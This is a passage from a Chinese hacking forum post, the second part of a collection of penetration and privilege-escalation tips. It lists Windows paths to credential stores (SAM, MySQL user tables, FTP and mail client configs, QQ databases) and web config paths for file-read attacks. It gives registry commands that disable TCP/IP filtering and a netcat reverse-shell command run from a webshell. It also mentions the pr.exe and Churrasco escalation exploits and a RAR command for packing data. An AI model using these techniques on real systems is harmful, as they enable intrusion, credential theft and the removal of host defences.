Server 5.0\my.ini<BR>C:\Program Files\MySQL\MySQL Server 5.0\my.ini<BR>C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm<BR>C:\Program Files\MySQL\MySQL Server 5.0\COPYING<BR>C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql<BR>C:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe<BR>c:\MySQL\MySQL Server 4.1\bin\mysql.exe<BR>c:\MySQL\MySQL Server 4.1\data\mysql\user.frm<BR>C:\Program Files\Oracle\oraconfig\Lpk.dll<BR>C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe<BR>C:\WINDOWS\system32\inetsrv\w3wp.exe<BR>C:\WINDOWS\system32\inetsrv\inetinfo.exe<BR>C:\WINDOWS\system32\inetsrv\MetaBase.xml<BR>C:\WINDOWS\system32\inetsrv\iisa, dmpwd\achg.asp<BR>C:\WINDOWS\system32\config\default.LOG<BR>C:\WINDOWS\system32\config\sam<BR>C:\WINDOWS\system32\config\system<BR>c:\CMailServer\config.ini<BR>c:\program files\CMailServer\config.ini<BR>c:\tomcat6\tomcat6\bin\version.sh<BR>c:\tomcat6\bin\version.sh<BR>c:\tomcat\bin\version.sh<BR>c:\program files\tomcat6\bin\version.sh<BR>C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh<BR>c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log<BR>c:\Apache2\Apache2\bin\Apache.exe<BR>c:\Apache2\bin\Apache.exe<BR>c:\Apache2\php\license.txt<BR>C:\Program Files\Apache Group\Apache2\bin\Apache.exe<BR>c:\Program Files\QQ2007\qq.exe<BR>c:\Program Files\Tencent\, qq\User.db<BR>c:\Program Files\Tencent\qq\qq.exe<BR>c:\Program Files\Tencent\qq\bin\qq.exe<BR>c:\Program Files\Tencent\qq2009\qq.exe<BR>c:\Program Files\Tencent\qq2008\qq.exe<BR>c:\Program Files\Tencent\qq2010\bin\qq.exe<BR>c:\Program Files\Tencent\qq\Users\All Users\Registry.db<BR>C:\Program Files\Tencent\TM\TMDlls\QQZip.dll<BR>c:\Program Files\Tencent\Tm\Bin\Txplatform.exe<BR>c:\Program Files\Tencent\RTXServer\AppConfig.xml<BR>C:\Program Files\Foxmal\Foxmail.exe<BR>C:\Program Files\Foxmal\accounts.cfg<BR>C:\Program Files\tencent\Foxmal\Foxmail.exe<BR>C:\Program Files\tencent\Foxmal\accounts.cfg<BR>C:\Program Files\LeapFTP 3.0\LeapFTP.exe<BR>C:\Program Files\LeapFTP\LeapFTP.exe<BR>c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe<BR>c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt<BR>C:\Program Files\FlashFXP\FlashFXP.ini<BR>C:\Program Files\FlashFXP\flashfxp.exe<BR>c:\Program Files\Oracle\bin\regsvr32.exe<BR>c:\Program Files\腾讯游戏\QQGAME\readme.txt<BR>c:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt<BR>c:\Program Files\tencent\QQGAME\readme.txt<BR>C:\Program Files\StormII\Storm.exe<BR><BR><BR><BR><BR><BR>各种网站的配置文件相对路径大全:<BR><BR>/config.php<BR>../../config.php<BR>../config.php<BR>../../../config.php<BR>/config.inc.php<BR>./config.inc.php<BR>../../config.inc.php<BR>../config.inc.php<BR>../../../config.inc.php<BR>/conn.php<BR>./conn.php<BR>../../conn.php<BR>../conn.php<BR>../../../conn.php<BR>/conn.asp<BR>./conn.asp<BR>../../conn.asp<BR>../conn.asp<BR>../../../conn.asp<BR>/config.inc.php<BR>./config.inc.php<BR>../../config.inc.php<BR>../config.inc.php<BR>../../../config.inc.php<BR>/config/config.php<BR>../../config/config.php<BR>../config/config.php<BR>../../../config/config.php<BR>/config/config.inc.php<BR>./config/config.inc.php<BR>../../config/config.inc.php<BR>../config/config.inc.php<BR>../../../config/config.inc.php<BR>/config/conn.php<BR>./config/conn.php<BR>../../config/conn.php<BR>../config/conn.php<BR>../../../config/conn.php<BR>/config/conn.asp<BR>./config/conn.asp<BR>../../config/conn.asp<BR>../config/conn.asp<BR>../../../config/conn.asp<BR>/config/config.inc.php<BR>./config/config.inc.php<BR>../../config/config.inc.php<BR>../config/config.inc.php<BR>../../../config/config.inc.php<BR>/data/config.php<BR>../../data/config.php<BR>../data/config.php<BR>../../../data/config.php<BR>/data/config.inc.php<BR>./data/config.inc.php<BR>../../data/config.inc.php<BR>../data/config.inc.php<BR>../../../data/config.inc.php<BR>/data/conn.php<BR>./data/conn.php<BR>../../data/conn.php<BR>../data/conn.php<BR>../../../data/conn.php<BR>/data/conn.asp<BR>./data/conn.asp<BR>../../data/conn.asp<BR>../data/conn.asp<BR>../../../data/conn.asp<BR>/data/config.inc.php<BR>./data/config.inc.php<BR>../../data/config.inc.php<BR>../data/config.inc.php<BR>../../../data/config.inc.php<BR>/include/config.php<BR>../../include/config.php<BR>../include/config.php<BR>../../../include/config.php<BR>/include/config.inc.php<BR>./include/config.inc.php<BR>../../include/config.inc.php<BR>../include/config.inc.php<BR>../../../include/config.inc.php<BR>/include/conn.php<BR>./include/conn.php<BR>../../include/conn.php<BR>../include/conn.php<BR>../../../include/conn.php<BR>/include/conn.asp<BR>./include/conn.asp<BR>../../include/conn.asp<BR>../include/conn.asp<BR>../../../include/conn.asp<BR>/include/config.inc.php<BR>./include/config.inc.php<BR>../../include/config.inc.php<BR>../include/config.inc.php<BR>../../../include/config.inc.php<BR>/inc/config.php<BR>../../inc/config.php<BR>../inc/config.php<BR>../../../inc/config.php<BR>/inc/config.inc.php<BR>./inc/config.inc.php<BR>../../inc/config.inc.php<BR>../inc/config.inc.php<BR>../../../inc/config.inc.php<BR>/inc/conn.php<BR>./inc/conn.php<BR>../../inc/conn.php<BR>../inc/conn.php<BR>../../../inc/conn.php<BR>/inc/conn.asp<BR>./inc/conn.asp<BR>../../inc/conn.asp<BR>../inc/conn.asp<BR>../../../inc/conn.asp<BR>/inc/config.inc.php<BR>./inc/config.inc.php<BR>../../inc/config.inc.php<BR>../inc/config.inc.php<BR>../../../inc/config.inc.php<BR>/index.php<BR>./index.php<BR>../../index.php<BR>../index.php<BR>../../../index.php<BR>/index.asp<BR>./index.asp<BR>../../index.asp<BR>../index.asp<BR>../../../index.asp<BR><BR><BR><BR><BR><BR>去除TCP IP筛选:<BR><BR>TCP/IP筛选在注册表里有三处,分别是:<BR><BR>HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip <BR>HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip <BR>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip<BR><BR>分别用以下命令来导出注册表项:<BR>regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip <BR>regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip <BR>regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip <BR><BR><BR>然后再把三个文件里的:<BR><BR>“EnableSecurityFilters"=dword:00000001”<BR><BR>改为:<BR><BR>“EnableSecurityFilters"=dword:00000000”<BR><BR>再将以上三个文件分别用以下命令导入注册表即可:<BR>regedit -s D:\a.reg <BR>regedit -s D:\b.reg <BR>regedit -s D:\c.reg <BR><BR><BR><BR><BR><BR>Webshell 提权小技巧:<BR><BR>Cmd路径:c:\windows\temp\cmd.exe<BR><BR>Nc 也在同目录下,例如反弹cmdshell:<BR><BR>"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"<BR><BR>通常都不会成功。<BR><BR>而直接在 cmd 路径上输入:c:\windows\temp\nc.exe<BR><BR>命令输入:-vv ip 999 -e c:\windows\temp\cmd.exe<BR><BR>却能成功。。这个不是重点<BR>我们通常执行 pr.exe 或 Churrasco.exe 的时候也需要按照上面的方法才能成功。<BR><BR><BR><BR><BR><BR>命令行调用 RAR 打包:<BR><BR>rar a -k -r -s -m3 c:\1.rar c:\folder</FONT></DIV>
页: [1]
查看完整版本: 各种提权 渗透 经验 技巧总结大全(下)